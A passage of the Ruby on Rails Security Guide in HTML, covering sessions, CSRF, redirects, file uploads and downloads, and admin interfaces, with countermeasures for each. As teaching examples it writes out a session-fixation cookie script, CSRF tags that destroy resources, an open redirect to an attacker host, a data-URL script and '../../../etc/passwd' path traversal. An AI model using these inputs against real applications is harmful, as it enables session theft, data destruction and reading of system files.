Assignment</a><ul><li><a href="#countermeasures">Countermeasures</a></li></ul></li><li><a href="#user-management">User Management</a><ul><li><a href="#brute-forcing-accounts">Brute-Forcing Accounts</a></li> <li><a href="#account-hijacking">Account Hijacking</a></li> <li><a href="#captchas">CAPTCHAs</a></li> <li><a href="#logging">Logging</a></li> <li><a href="#good-passwords">Good Passwords</a></li> <li><a href="#regular-expressions">Regular Expressions</a></li> <li><a href="#privilege-escalation">Privilege Escalation</a></li></ul></li><li><a href="#injection">Injection</a><ul><li><a href="#whitelists-versus-blacklists">Whitelists versus Blacklists</a></li> <li><a href="#sql-injection"><span class="caps">SQL</span> Injection</a></li> <li><a href="#cross-site-scripting-xss">Cross-Site Scripting (<span class="caps">XSS</span>)</a></li> <li><a href="#css-injection"><span class="caps">CSS</span> Injection</a></li> <li><a href="#textile-injection">Textile Injection</a></li> <li><a href="#ajax-injection">Ajax Injection</a></li> <li><a href="#command-line-injection">Command Line Injection</a></li> <li><a href="#header-injection">Header Injection</a></li></ul></li><li><a href="#additional-resources">Additional Resources</a></li></ol></div>
115
+ </div>
116
+ </div>
117
+
118
+ <div id="container">
119
+ <div class="wrapper">
120
+ <div id="mainCol">
121
+ <h3 id="introduction">1 Introduction</h3>
122
+ <p>Web application frameworks are made to help developers building web applications. Some of them also help you with securing the web application. In fact one framework is not more secure than another: If you use it correctly, you will be able to build secure apps with many frameworks. Ruby on Rails has some clever helper methods, for example against <span class="caps">SQL</span> injection, so that this is hardly a problem. It&#8217;s nice to see that all of the Rails applications I audited had a good level of security.</p>
123
+ <p>In general there is no such thing as plug-n-play security. Security depends on the people using the framework, and sometimes on the development method. And it depends on all layers of a web application environment: The back-end storage, the web server and the web application itself (and possibly other layers or applications).</p>
124
+ <p>The Gartner Group however estimates that 75% of attacks are at the web application layer, and found out &#8220;that out of 300 audited sites, 97% are vulnerable to attack&#8221;. This is because web applications are relatively easy to attack, as they are simple to understand and manipulate, even by the lay person.</p>
125
+ <p>The threats against web applications include user account hijacking, bypass of access control, reading or modifying sensitive data, or presenting fraudulent content. Or an attacker might be able to install a Trojan horse program or unsolicited e-mail sending software, aim at financial enrichment or cause brand name damage by modifying company resources. In order to prevent attacks, minimize their impact and remove points of attack, first of all, you have to fully understand the attack methods in order to find the correct countermeasures. That is what this guide aims at.</p>
126
+ <p>In order to develop secure web applications you have to keep up to date on all layers and know your enemies. To keep up to date subscribe to security mailing lists, read security blogs and make updating and security checks a habit (check the <a href="#additional-resources">Additional Resources</a> chapter). I do it manually because that&#8217;s how you find the nasty logical security problems.</p>
127
+ <h3 id="sessions">2 Sessions</h3>
128
+ <p>A good place to start looking at security is with sessions, which can be vulnerable to particular attacks.</p>
129
+ <h4 id="what-are-sessions">2.1 What are Sessions?</h4>
130
+ <p>&#8212; <em><span class="caps">HTTP</span> is a stateless protocol. Sessions make it stateful.</em></p>
131
+ <p>Most applications need to keep track of certain state of a particular user. This could be the contents of a shopping basket or the user id of the currently logged in user. Without the idea of sessions, the user would have to identify, and probably authenticate, on every request.
132
+ Rails will create a new session automatically if a new user accesses the application. It will load an existing session if the user has already used the application.</p>
133
+ <p>A session usually consists of a hash of values and a session id, usually a 32-character string, to identify the hash. Every cookie sent to the client&#8217;s browser includes the session id. And the other way round: the browser will send it to the server on every request from the client. In Rails you can save and retrieve values using the session method:</p>
134
+ <div class="code_container">
135
+ <pre class="brush: ruby; gutter: false; toolbar: false">
136
+ session[:user_id] = @current_user.id
137
+ User.find(session[:user_id])
138
+ </pre>
139
+ </div>
140
+ <h4 id="session-id">2.2 Session id</h4>
141
+ <p>&#8212; <em>The session id is a 32 byte long MD5 hash value.</em></p>
142
+ <p>A session id consists of the hash value of a random string. The random string is the current time, a random number between 0 and 1, the process id number of the Ruby interpreter (also basically a random number) and a constant string. Currently it is not feasible to brute-force Rails&#8217; session ids. To date MD5 is uncompromised, but there have been collisions, so it is theoretically possible to create another input text with the same hash value. But this has had no security impact to date.</p>
143
+ <h4 id="session-hijacking">2.3 Session Hijacking</h4>
144
+ <p>&#8212; <em>Stealing a user&#8217;s session id lets an attacker use the web application in the victim&#8217;s name.</em></p>
145
+ <p>Many web applications have an authentication system: a user provides a user name and password, the web application checks them and stores the corresponding user id in the session hash. From now on, the session is valid. On every request the application will load the user, identified by the user id in the session, without the need for new authentication. The session id in the cookie identifies the session.</p>
146
+ <p>Hence, the cookie serves as temporary authentication for the web application. Everyone who seizes a cookie from someone else, may use the web application as this user – with possibly severe consequences. Here are some ways to hijack a session, and their countermeasures:</p>
147
+ <ul>
148
+ <li>Sniff the cookie in an insecure network. A wireless <span class="caps">LAN</span> can be an example of such a network. In an unencrypted wireless <span class="caps">LAN</span> it is especially easy to listen to the traffic of all connected clients. This is one more reason not to work from a coffee shop. For the web application builder this means to <em class="highlight">provide a secure connection over <span class="caps">SSL</span></em>. In Rails 3.1 and later, this could be accomplished by always forcing <span class="caps">SSL</span> connection in your application config file:</li>
149
+ </ul>
150
+ <div class="code_container">
151
+ <pre class="brush: ruby; gutter: false; toolbar: false">
152
+ config.force_ssl = true
153
+ </pre>
154
+ </div>
155
+ <ul>
156
+ <li>Most people don&#8217;t clear out the cookies after working at a public terminal. So if the last user didn&#8217;t log out of a web application, you would be able to use it as this user. Provide the user with a <em class="highlight">log-out button</em> in the web application, and <em class="highlight">make it prominent</em>.</li>
157
+ </ul>
158
+ <ul>
159
+ <li>Many cross-site scripting (<span class="caps">XSS</span>) exploits aim at obtaining the user&#8217;s cookie. You&#8217;ll read <a href="#cross-site-scripting-xss">more about <span class="caps">XSS</span></a> later.</li>
160
+ </ul>
161
+ <ul>
162
+ <li>Instead of stealing a cookie unknown to the attacker, he fixes a user&#8217;s session identifier (in the cookie) known to him. Read more about this so-called session fixation later.</li>
163
+ </ul>
164
+ <p>The main objective of most attackers is to make money. The underground prices for stolen bank login accounts range from $10–$1000 (depending on the available amount of funds), $0.40–$20 for credit card numbers, $1–$8 for online auction site accounts and $4–$30 for email passwords, according to the <a href="http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_internet_security_threat_report_xiii_04-2008.en-us.pdf">Symantec Global Internet Security Threat Report</a>.</p>
165
+ <h4 id="session-guidelines">2.4 Session Guidelines</h4>
166
+ <p>&#8212; <em>Here are some general guidelines on sessions.</em></p>
167
+ <ul>
168
+ <li><em class="highlight">Do not store large objects in a session</em>. Instead you should store them in the database and save their id in the session. This will eliminate synchronization headaches and it won&#8217;t fill up your session storage space (depending on what session storage you chose, see below).
169
+ This will also be a good idea, if you modify the structure of an object and old versions of it are still in some user&#8217;s cookies. With server-side session storages you can clear out the sessions, but with client-side storages, this is hard to mitigate.</li>
170
+ </ul>
171
+ <ul>
172
+ <li><em class="highlight">Critical data should not be stored in session</em>. If the user clears his cookies or closes the browser, they will be lost. And with a client-side session storage, the user can read the data.</li>
173
+ </ul>
174
+ <h4 id="session-storage">2.5 Session Storage</h4>
175
+ <p>&#8212; <em>Rails provides several storage mechanisms for the session hashes. The most important are ActiveRecord::SessionStore and ActionDispatch::Session::CookieStore.</em></p>
176
+ <p>There are a number of session storages, i.e. where Rails saves the session hash and session id. Most real-live applications choose ActiveRecord::SessionStore (or one of its derivatives) over file storage due to performance and maintenance reasons. ActiveRecord::SessionStore keeps the session id and hash in a database table and saves and retrieves the hash on every request.</p>
177
+ <p>Rails 2 introduced a new default session storage, CookieStore. CookieStore saves the session hash directly in a cookie on the client-side. The server retrieves the session hash from the cookie and eliminates the need for a session id. That will greatly increase the speed of the application, but it is a controversial storage option and you have to think about the security implications of it:</p>
178
+ <ul>
179
+ <li>Cookies imply a strict size limit of 4kB. This is fine as you should not store large amounts of data in a session anyway, as described before. <em class="highlight">Storing the current user&#8217;s database id in a session is usually ok</em>.</li>
180
+ </ul>
181
+ <ul>
182
+ <li>The client can see everything you store in a session, because it is stored in clear-text (actually Base64-encoded, so not encrypted). So, of course, <em class="highlight">you don&#8217;t want to store any secrets here</em>. To prevent session hash tampering, a digest is calculated from the session with a server-side secret and inserted into the end of the cookie.</li>
183
+ </ul>
184
+ <p>That means the security of this storage depends on this secret (and on the digest algorithm, which defaults to SHA512, which has not been compromised, yet). So <em class="highlight">don&#8217;t use a trivial secret, i.e. a word from a dictionary, or one which is shorter than 30 characters</em>. Put the secret in your environment.rb:</p>
185
+ <div class="code_container">
186
+ <pre class="brush: ruby; gutter: false; toolbar: false">
187
+ config.action_dispatch.session = {
188
+ :key =&gt; '_app_session',
189
+ :secret =&gt; '0x0dkfj3927dkc7djdh36rkckdfzsg...'
190
+ }
191
+ </pre>
192
+ </div>
193
+ <p>There are, however, derivatives of CookieStore which encrypt the session hash, so the client cannot see it.</p>
194
+ <h4 id="replay-attacks-for-cookiestore-sessions">2.6 Replay Attacks for CookieStore Sessions</h4>
195
+ <p>&#8212; <em>Another sort of attack you have to be aware of when using CookieStore is the replay attack.</em></p>
196
+ <p>It works like this:</p>
197
+ <ul>
198
+ <li>A user receives credits, the amount is stored in a session (which is a bad idea anyway, but we&#8217;ll do this for demonstration purposes).</li>
199
+ <li>The user buys something.</li>
200
+ <li>His new, lower credit will be stored in the session.</li>
201
+ <li>The dark side of the user forces him to take the cookie from the first step (which he copied) and replace the current cookie in the browser.</li>
202
+ <li>The user has his credit back.</li>
203
+ </ul>
204
+ <p>Including a nonce (a random value) in the session solves replay attacks. A nonce is valid only once, and the server has to keep track of all the valid nonces. It gets even more complicated if you have several application servers (mongrels). Storing nonces in a database table would defeat the entire purpose of CookieStore (avoiding accessing the database).</p>
205
+ <p>The best <em class="highlight">solution against it is not to store this kind of data in a session, but in the database_. In this case store the credit in the database and the logged_in_user</em>id in the session.</p>
206
+ <h4 id="session-fixation">2.7 Session Fixation</h4>
207
+ <p>&#8212; <em>Apart from stealing a user&#8217;s session id, the attacker may fix a session id known to him. This is called session fixation.</em></p>
208
+ <p><img src="images/session_fixation.png" title="Session fixation" alt="Session fixation" /></p>
209
+ <p>This attack focuses on fixing a user&#8217;s session id known to the attacker, and forcing the user&#8217;s browser into using this id. It is therefore not necessary for the attacker to steal the session id afterwards. Here is how this attack works:</p>
210
+ <ol>
211
+ <li>The attacker creates a valid session id: He loads the login page of the web application where he wants to fix the session, and takes the session id in the cookie from the response (see number 1 and 2 in the image).</li>
212
+ <li>He possibly maintains the session. Expiring sessions, for example every 20 minutes, greatly reduces the time-frame for attack. Therefore he accesses the web application from time to time in order to keep the session alive.</li>
213
+ <li>Now the attacker will force the user&#8217;s browser into using this session id (see number 3 in the image). As you may not change a cookie of another domain (because of the same origin policy), the attacker has to run a JavaScript from the domain of the target web application. Injecting the JavaScript code into the application by <span class="caps">XSS</span> accomplishes this attack. Here is an example: <tt>&lt;script&gt;
document.cookie="_session_id=16d5b78abb28e3d6206b60f22a03c8d9";
&lt;/script&gt;</tt>. Read more about <span class="caps">XSS</span> and injection later on.</li>
214
+ <li>The attacker lures the victim to the infected page with the JavaScript code. By viewing the page, the victim&#8217;s browser will change the session id to the trap session id.</li>
215
+ <li>As the new trap session is unused, the web application will require the user to authenticate.</li>
216
+ <li>From now on, the victim and the attacker will co-use the web application with the same session: The session became valid and the victim didn&#8217;t notice the attack.</li>
217
+ </ol>
218
+ <h4 id="session-fixation-countermeasures">2.8 Session Fixation – Countermeasures</h4>
219
+ <p>&#8212; <em>One line of code will protect you from session fixation.</em></p>
220
+ <p>The most effective countermeasure is to <em class="highlight">issue a new session identifier</em> and declare the old one invalid after a successful login. That way, an attacker cannot use the fixed session identifier. This is a good countermeasure against session hijacking, as well. Here is how to create a new session in Rails:</p>
221
+ <div class="code_container">
222
+ <pre class="brush: ruby; gutter: false; toolbar: false">
223
+ reset_session
224
+ </pre>
225
+ </div>
226
+ <p>If you use the popular RestfulAuthentication plugin for user management, add reset_session to the SessionsController#create action. Note that this removes any value from the session, <em class="highlight">you have to transfer them to the new session</em>.</p>
227
+ <p>Another countermeasure is to <em class="highlight">save user-specific properties in the session</em>, verify them every time a request comes in, and deny access, if the information does not match. Such properties could be the remote IP address or the user agent (the web browser name), though the latter is less user-specific. When saving the IP address, you have to bear in mind that there are Internet service providers or large organizations that put their users behind proxies. <em class="highlight">These might change over the course of a session</em>, so these users will not be able to use your application, or only in a limited way.</p>
228
+ <h4 id="session-expiry">2.9 Session Expiry</h4>
229
+ <p>&#8212; <em>Sessions that never expire extend the time-frame for attacks such as cross-site reference forgery (<span class="caps">CSRF</span>), session hijacking and session fixation.</em></p>
230
+ <p>One possibility is to set the expiry time-stamp of the cookie with the session id. However the client can edit cookies that are stored in the web browser so expiring sessions on the server is safer. Here is an example of how to <em class="highlight">expire sessions in a database table</em>. Call <tt>Session.sweep("20 minutes")</tt> to expire sessions that were used longer than 20 minutes ago.</p>
231
+ <div class="code_container">
232
+ <pre class="brush: ruby; gutter: false; toolbar: false">
233
+ class Session &lt; ActiveRecord::Base
234
+ def self.sweep(time = 1.hour)
235
+ if time.is_a?(String)
236
+ time = time.split.inject { |count, unit| count.to_i.send(unit) }
237
+ end
238
+
239
+ delete_all &quot;updated_at &lt; '#{time.ago.to_s(:db)}'&quot;
240
+ end
241
+ end
242
+ </pre>
243
+ </div>
244
+ <p>The section about session fixation introduced the problem of maintained sessions. An attacker maintaining a session every five minutes can keep the session alive forever, although you are expiring sessions. A simple solution for this would be to add a created_at column to the sessions table. Now you can delete sessions that were created a long time ago. Use this line in the sweep method above:</p>
245
+ <div class="code_container">
246
+ <pre class="brush: ruby; gutter: false; toolbar: false">
247
+ delete_all &quot;updated_at &lt; '#{time.ago.to_s(:db)}' OR
248
+ created_at &lt; '#{2.days.ago.to_s(:db)}'&quot;
249
+ </pre>
250
+ </div>
251
+ <h3 id="cross-site-request-forgery-csrf">3 Cross-Site Request Forgery (<span class="caps">CSRF</span>)</h3>
252
+ <p>&#8212; <em>This attack method works by including malicious code or a link in a page that accesses a web application that the user is believed to have authenticated. If the session for that web application has not timed out, an attacker may execute unauthorized commands.</em></p>
253
+ <p><img src="images/csrf.png" alt="" /></p>
254
+ <p>In the <a href="#sessions">session chapter</a> you have learned that most Rails applications use cookie-based sessions. Either they store the session id in the cookie and have a server-side session hash, or the entire session hash is on the client-side. In either case the browser will automatically send along the cookie on every request to a domain, if it can find a cookie for that domain. The controversial point is, that it will also send the cookie, if the request comes from a site of a different domain. Let&#8217;s start with an example:</p>
255
+ <ul>
256
+ <li>Bob browses a message board and views a post from a hacker where there is a crafted <span class="caps">HTML</span> image element. The element references a command in Bob&#8217;s project management application, rather than an image file.</li>
257
+ <li><tt>&lt;img src="http://www.webapp.com/project/1/destroy"&gt;</tt></li>
258
+ <li>Bob&#8217;s session at www.webapp.com is still alive, because he didn&#8217;t log out a few minutes ago.</li>
259
+ <li>By viewing the post, the browser finds an image tag. It tries to load the suspected image from www.webapp.com. As explained before, it will also send along the cookie with the valid session id.</li>
260
+ <li>The web application at www.webapp.com verifies the user information in the corresponding session hash and destroys the project with the ID 1. It then returns a result page which is an unexpected result for the browser, so it will not display the image.</li>
261
+ <li>Bob doesn&#8217;t notice the attack &#8212; but a few days later he finds out that project number one is gone.</li>
262
+ </ul>
263
+ <p>It is important to notice that the actual crafted image or link doesn&#8217;t necessarily have to be situated in the web application&#8217;s domain, it can be anywhere – in a forum, blog post or email.</p>
264
+ <p><span class="caps">CSRF</span> appears very rarely in <span class="caps">CVE</span> (Common Vulnerabilities and Exposures) &#8212; less than 0.1% in 2006 &#8212; but it really is a &#8216;sleeping giant&#8217; [Grossman]. This is in stark contrast to the results in my (and others) security contract work – <em class="highlight"><span class="caps">CSRF</span> is an important security issue</em>.</p>
265
+ <h4 id="csrf-countermeasures">3.1 <span class="caps">CSRF</span> Countermeasures</h4>
266
+ <p>&#8212; <em>First, as is required by the W3C, use <span class="caps">GET</span> and <span class="caps">POST</span> appropriately. Secondly, a security token in non-<span class="caps">GET</span> requests will protect your application from <span class="caps">CSRF</span>.</em></p>
267
+ <p>The <span class="caps">HTTP</span> protocol basically provides two main types of requests &#8211; <span class="caps">GET</span> and <span class="caps">POST</span> (and more, but they are not supported by most browsers). The World Wide Web Consortium (W3C) provides a checklist for choosing <span class="caps">HTTP</span> <span class="caps">GET</span> or <span class="caps">POST</span>:</p>
268
+ <p><strong>Use <span class="caps">GET</span> if:</strong></p>
269
+ <ul>
270
+ <li>The interaction is more <em class="highlight">like a question</em> (i.e., it is a safe operation such as a query, read operation, or lookup).</li>
271
+ </ul>
272
+ <p><strong>Use <span class="caps">POST</span> if:</strong></p>
273
+ <ul>
274
+ <li>The interaction is more <em class="highlight">like an order</em>, or</li>
275
+ <li>The interaction <em class="highlight">changes the state</em> of the resource in a way that the user would perceive (e.g., a subscription to a service), or</li>
276
+ <li>The user is <em class="highlight">held accountable for the results</em> of the interaction.</li>
277
+ </ul>
278
+ <p>If your web application is RESTful, you might be used to additional <span class="caps">HTTP</span> verbs, such as <span class="caps">PUT</span> or <span class="caps">DELETE</span>. Most of today&#8217;s web browsers, however do not support them &#8211; only <span class="caps">GET</span> and <span class="caps">POST</span>. Rails uses a hidden <tt>_method</tt> field to handle this barrier.</p>
279
+ <p><em class="highlight"><span class="caps">POST</span> requests can be sent automatically, too</em>. Here is an example for a link which displays www.harmless.com as destination in the browser&#8217;s status bar. In fact it dynamically creates a new form that sends a <span class="caps">POST</span> request.</p>
280
+ <div class="code_container">
281
+ <pre class="brush: xml; gutter: false; toolbar: false">
282
+ &lt;a href=&quot;http://www.harmless.com/&quot; onclick=&quot;
283
+ var f = document.createElement('form');
284
+ f.style.display = 'none';
285
+ this.parentNode.appendChild(f);
286
+ f.method = 'POST';
287
+ f.action = 'http://www.example.com/account/destroy';
288
+ f.submit();
289
+ return false;&quot;&gt;To the harmless survey&lt;/a&gt;
290
+ </pre>
291
+ </div>
292
+ <p>Or the attacker places the code into the onmouseover event handler of an image:</p>
293
+ <div class="code_container">
294
+ <pre class="brush: xml; gutter: false; toolbar: false">
295
+ &lt;img src=&quot;http://www.harmless.com/img&quot; width=&quot;400&quot; height=&quot;400&quot; onmouseover=&quot;...&quot; /&gt;
296
+ </pre>
297
+ </div>
298
+ <p>There are many other possibilities, including Ajax to attack the victim in the background.
The <em class="highlight">solution to this is including a security token in non-<span class="caps">GET</span> requests</em> which check on the server-side. In Rails 2 or higher, this is a one-liner in the application controller:</p>
299
+ <div class="code_container">
300
+ <pre class="brush: ruby; gutter: false; toolbar: false">
301
+ protect_from_forgery :secret =&gt; &quot;123456789012345678901234567890...&quot;
302
+ </pre>
303
+ </div>
304
+ <p>This will automatically include a security token, calculated from the current session and the server-side secret, in all forms and Ajax requests generated by Rails. You won&#8217;t need the secret, if you use CookieStorage as session storage. If the security token doesn&#8217;t match what was expected, the session will be reset. <strong>Note:</strong> In Rails versions prior to 3.0.4, this raised an <tt>ActionController::InvalidAuthenticityToken</tt> error.</p>
305
+ <p>Note that <em class="highlight">cross-site scripting (<span class="caps">XSS</span>) vulnerabilities bypass all <span class="caps">CSRF</span> protections</em>. <span class="caps">XSS</span> gives the attacker access to all elements on a page, so he can read the <span class="caps">CSRF</span> security token from a form or directly submit the form. Read <a href="#cross-site-scripting-xss">more about <span class="caps">XSS</span></a> later.</p>
306
+ <h3 id="redirection-and-files">4 Redirection and Files</h3>
307
+ <p>Another class of security vulnerabilities surrounds the use of redirection and files in web applications.</p>
308
+ <h4 id="redirection">4.1 Redirection</h4>
309
+ <p>&#8212; <em>Redirection in a web application is an underestimated cracker tool: Not only can the attacker forward the user to a trap web site, he may also create a self-contained attack.</em></p>
310
+ <p>Whenever the user is allowed to pass (parts of) the <span class="caps">URL</span> for redirection, it is possibly vulnerable. The most obvious attack would be to redirect users to a fake web application which looks and feels exactly as the original one. This so-called phishing attack works by sending an unsuspicious link in an email to the users, injecting the link by <span class="caps">XSS</span> in the web application or putting the link into an external site. It is unsuspicious, because the link starts with the <span class="caps">URL</span> to the web application and the <span class="caps">URL</span> to the malicious site is hidden in the redirection parameter: http://www.example.com/site/redirect?to= www.attacker.com. Here is an example of a legacy action:</p>
311
+ <div class="code_container">
312
+ <pre class="brush: ruby; gutter: false; toolbar: false">
313
+ def legacy
314
+ redirect_to(params.update(:action=&gt;'main'))
315
+ end
316
+ </pre>
317
+ </div>
318
+ <p>This will redirect the user to the main action if he tried to access a legacy action. The intention was to preserve the <span class="caps">URL</span> parameters to the legacy action and pass them to the main action. However, it can exploited by an attacker if he includes a host key in the <span class="caps">URL</span>:</p>
319
+ <div class="code_container">
320
+ <pre class="brush: plain; gutter: false; toolbar: false">
321
+ http://www.example.com/site/legacy?param1=xy&amp;param2=23&amp;host=www.attacker.com
322
+ </pre>
323
+ </div>
324
+ <p>If it is at the end of the <span class="caps">URL</span> it will hardly be noticed and redirects the user to the attacker.com host. A simple countermeasure would be to <em class="highlight">include only the expected parameters in a legacy action</em> (again a whitelist approach, as opposed to removing unexpected parameters). <em class="highlight">And if you redirect to an <span class="caps">URL</span>, check it with a whitelist or a regular expression</em>.</p>
325
+ <h5 id="self-contained-xss">4.1.1 Self-contained <span class="caps">XSS</span></h5>
326
+ <p>Another redirection and self-contained <span class="caps">XSS</span> attack works in Firefox and Opera by the use of the data protocol. This protocol displays its contents directly in the browser and can be anything from <span class="caps">HTML</span> or JavaScript to entire images:</p>
327
+ <tt>data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K</tt><p>This example is a Base64 encoded JavaScript which displays a simple message box. In a redirection <span class="caps">URL</span>, an attacker could redirect to this <span class="caps">URL</span> with the malicious code in it. As a countermeasure, <em class="highlight">do not allow the user to supply (parts of) the <span class="caps">URL</span> to be redirected to</em>.</p>
328
+ <h4 id="file-uploads">4.2 File Uploads</h4>
329
+ <p>&#8212; <em>Make sure file uploads don&#8217;t overwrite important files, and process media files asynchronously.</em></p>
330
+ <p>Many web applications allow users to upload files. <em class="highlight">File names, which the user may choose (partly), should always be filtered</em> as an attacker could use a malicious file name to overwrite any file on the server. If you store file uploads at /var/www/uploads, and the user enters a file name like “../../../etc/passwd”, it may overwrite an important file. Of course, the Ruby interpreter would need the appropriate permissions to do so – one more reason to run web servers, database servers and other programs as a less privileged Unix user.</p>
331
+ <p>When filtering user input file names, <em class="highlight">don&#8217;t try to remove malicious parts</em>. Think of a situation where the web application removes all “../” in a file name and an attacker uses a string such as “&#8230;.//” &#8211; the result will be “../”. It is best to use a whitelist approach, which <em class="highlight">checks for the validity of a file name with a set of accepted characters_. This is opposed to a blacklist approach which attempts to remove not allowed characters. In case it isn&#8217;t a valid file name, reject it (or replace not accepted characters), but don&#8217;t remove them. Here is the file name sanitizer from the <a href="https://github.com/technoweenie/attachment">attachment_fu plugin</a></em>fu/tree/master:</p>
332
+ <div class="code_container">
333
+ <pre class="brush: ruby; gutter: false; toolbar: false">
334
+ def sanitize_filename(filename)
335
+ filename.strip.tap do |name|
336
+ # NOTE: File.basename doesn't work right with Windows paths on Unix
337
+ # get only the filename, not the whole path
338
+ name.sub! /\A.*(\\|\/)/, ''
339
+ # Finally, replace all non alphanumeric, underscore
340
+ # or periods with underscore
341
+ name.gsub! /[^\w\.\-]/, '_'
342
+ end
343
+ end
344
+ </pre>
345
+ </div>
346
+ <p>A significant disadvantage of synchronous processing of file uploads (as the attachment_fu plugin may do with images), is its <em class="highlight">vulnerability to denial-of-service attacks</em>. An attacker can synchronously start image file uploads from many computers which increases the server load and may eventually crash or stall the server.</p>
347
+ <p>The solution to this is best to <em class="highlight">process media files asynchronously</em>: Save the media file and schedule a processing request in the database. A second process will handle the processing of the file in the background.</p>
348
+ <h4 id="executable-code-in-file-uploads">4.3 Executable Code in File Uploads</h4>
349
+ <p>&#8212; <em>Source code in uploaded files may be executed when placed in specific directories. Do not place file uploads in Rails&#8217; /public directory if it is Apache&#8217;s home directory.</em></p>
350
+ <p>The popular Apache web server has an option called DocumentRoot. This is the home directory of the web site, everything in this directory tree will be served by the web server. If there are files with a certain file name extension, the code in it will be executed when requested (might require some options to be set). Examples for this are <span class="caps">PHP</span> and <span class="caps">CGI</span> files. Now think of a situation where an attacker uploads a file “file.cgi” with code in it, which will be executed when someone downloads the file.</p>
351
+ <p><em class="highlight">If your Apache DocumentRoot points to Rails&#8217; /public directory, do not put file uploads in it</em>, store files at least one level downwards.</p>
352
+ <h4 id="file-downloads">4.4 File Downloads</h4>
353
+ <p>&#8212; <em>Make sure users cannot download arbitrary files.</em></p>
354
+ <p>Just as you have to filter file names for uploads, you have to do so for downloads. The send_file() method sends files from the server to the client. If you use a file name, that the user entered, without filtering, any file can be downloaded:</p>
355
+ <div class="code_container">
356
+ <pre class="brush: ruby; gutter: false; toolbar: false">
357
+ send_file('/var/www/uploads/' + params[:filename])
358
+ </pre>
359
+ </div>
360
+ <p>Simply pass a file name like “../../../etc/passwd” to download the server&#8217;s login information. A simple solution against this, is to <em class="highlight">check that the requested file is in the expected directory</em>:</p>
361
+ <div class="code_container">
362
+ <pre class="brush: ruby; gutter: false; toolbar: false">
363
+ basename = File.expand_path(File.join(File.dirname(__FILE__), '../../files'))
364
+ filename = File.expand_path(File.join(basename, @file.public_filename))
365
+ raise if basename !=
366
+ File.expand_path(File.join(File.dirname(filename), '../../../'))
367
+ send_file filename, :disposition =&gt; 'inline'
368
+ </pre>
369
+ </div>
370
+ <p>Another (additional) approach is to store the file names in the database and name the files on the disk after the ids in the database. This is also a good approach to avoid possible code in an uploaded file to be executed. The attachment_fu plugin does this in a similar way.</p>
371
+ <h3 id="intranet-and-admin-security">5 Intranet and Admin Security</h3>
372
+ <p>&#8212; <em>Intranet and administration interfaces are popular attack targets, because they allow privileged access. Although this would require several extra-security measures, the opposite is the case in the real world.</em></p>
373
+ <p>In 2007 there was the first tailor-made trojan which stole information from an Intranet, namely the &#8220;Monster for employers&#8221; web site of Monster.com, an online recruitment web application. Tailor-made Trojans are very rare, so far, and the risk is quite low, but it is certainly a possibility and an example of how the security of the client host is important, too. However, the highest threat to Intranet and Admin applications are <span class="caps">XSS</span> and <span class="caps">CSRF</span>.
</p>
374
+ <p><strong><span class="caps">XSS</span></strong> If your application re-displays malicious user input from the extranet, the application will be vulnerable to <span class="caps">XSS</span>. User names, comments, spam reports, order addresses are just a few uncommon examples, where there can be <span class="caps">XSS</span>.</p>
375
+ <p>Having one single place in the admin interface or Intranet, where the input has not been sanitized, makes the entire application vulnerable. Possible exploits include stealing the privileged administrator&#8217;s cookie, injecting an iframe to steal the administrator&#8217;s password or installing malicious software through browser security holes to take over the administrator&#8217;s computer.</p>
376
+ <p>Refer to the Injection section for countermeasures against <span class="caps">XSS</span>. It is <em class="highlight">recommended to use the SafeErb plugin</em> also in an Intranet or administration interface.</p>
377
+ <p><strong><span class="caps">CSRF</span></strong> Cross-Site Reference Forgery (<span class="caps">CSRF</span>) is a gigantic attack method, it allows the attacker to do everything the administrator or Intranet user may do. As you have already seen above how <span class="caps">CSRF</span> works, here are a few examples of what attackers can do in the Intranet or admin interface.</p>
378
+ <p>A real-world example is a <a href="http://www.h-online.com/security/Symantec-reports-first-active-attack-on-a-DSL-router--/news/102352">router reconfiguration by <span class="caps">CSRF</span></a>. The attackers sent a malicious e-mail, with <span class="caps">CSRF</span> in it, to Mexican users. The e-mail claimed there was an e-card waiting for them, but it also contained an image tag that resulted in a <span class="caps">HTTP</span>-<span class="caps">GET</span> request to reconfigure the user&#8217;s router (which is a popular model in Mexico). The request changed the <span class="caps">DNS</span>-settings so that requests to a Mexico-based banking site would be mapped to the attacker&#8217;s site. Everyone who accessed the banking site through that router saw the attacker&#8217;s fake web site and had his credentials stolen.</p>
379
+ <p>Another example changed Google Adsense&#8217;s e-mail address and password by. If the victim was logged into Google Adsense, the administration interface for Google advertisements campaigns, an attacker could change his credentials.
</p>
380
+ <p>Another popular attack is to spam your web application, your blog or forum to propagate malicious <span class="caps">XSS</span>. Of course, the attacker has to know the <span class="caps">URL</span> structure, but most Rails URLs are quite straightforward or they will be easy to find out, if it is an open-source application&#8217;s admin interface. The attacker may even do 1,000 lucky guesses by just including malicious <span class="caps">IMG</span>-tags which try every possible combination.</p>
381
+ <p>For <em class="highlight">countermeasures against <span class="caps">CSRF</span> in administration interfaces and Intranet applications, refer to the countermeasures in the <span class="caps">CSRF</span> section</em>.</p>
382
+ <h4 id="additional-precautions">5.1 Additional Precautions</h4>
383
+ <p>The common admin interface works like this: it&#8217;s located at www.example.com/admin, may be accessed only if the admin flag is set in the User model, re-displays user input and allows the admin to delete/add/edit whatever data desired. Here are some thoughts about this:</p>
384
+ <ul>
385
+ <li>It is very important to <em class="highlight">think about the worst case</em>: What if someone really got hold of my cookie or user credentials. You could <em class="highlight">introduce roles</em> for the admin interface to limit the possibilities of the attacker. Or how about <em class="highlight">special login credentials</em> for the admin interface, other than the ones used for the public part of the application. Or a <em class="highlight">special password for very serious actions</em>?</li>
386
+ </ul>
387
+ <ul>
388
+ <li>Does the admin really have to access the interface from everywhere in the world? Think about <em class="highlight">limiting the login to a bunch of source IP addresses_. Examine request.remote</em>ip to find out about the user&#8217;s IP address. This is not bullet-proof, but a great barrier. Remember that there might be a proxy in use, though.</li>
389
+ </ul>
390
+ <ul>
391
+ <li><em class="highlight">Put the admin interface to a special sub-domain</em> such as admin.application.com and make it a separate application with its own user management. This makes stealing an admin cookie from the usual domain, www.application.com, impossible. This is because of the same origin policy in your browser: An injected (<span class="caps">XSS</span>) script on www.application.com may not read the cookie for admin.application.com and vice-versa.</li>
392
+ </ul>
393
+ <h3 id="mass-assignment">6 Mass Assignment</h3>
394
+ <p>&#8212; <em>Without any precautions Model.new(params[:model]) allows attackers to set any database column&#8217;s value.</em></p>
395
